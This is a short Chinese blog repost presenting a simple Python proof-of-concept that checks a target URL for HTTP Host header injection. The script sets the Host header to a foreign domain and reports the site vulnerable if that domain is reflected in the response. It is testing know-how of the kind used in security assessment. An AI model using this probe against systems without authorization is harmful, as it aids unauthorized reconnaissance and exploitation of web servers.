python3基础学习（http host头攻击漏洞POC）

最新推荐文章于 2024-10-11 16:45:24 发布

转载最新推荐文章于 2024-10-11 16:45:24 发布 · 545 阅读

1 ·

CC 4.0 BY-SA版权

原文链接：https://yq.aliyun.com/articles/505469

文章标签：

#python

本文提供了一个简单的HTTP Host头攻击漏洞POC代码示例，通过修改请求头部的Host字段来触发潜在的安全问题。使用Python实现，适用于HTTP请求。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

简单版http host头攻击漏洞POC，没有对异常进行处理，没有对意外情况进行处理，所以是简单版！代码如下：

from urllib import request
import sys
import re
url=sys.argv[1]
header={'Host' : 'www.eth10.com'}

req=request.Request(url,headers=header)
u = request.urlopen(req)
resp = u.read()

if re.match('.*www.eth10.com',str(resp)):
    print('漏洞存在')
else:
    print('不存在该漏洞')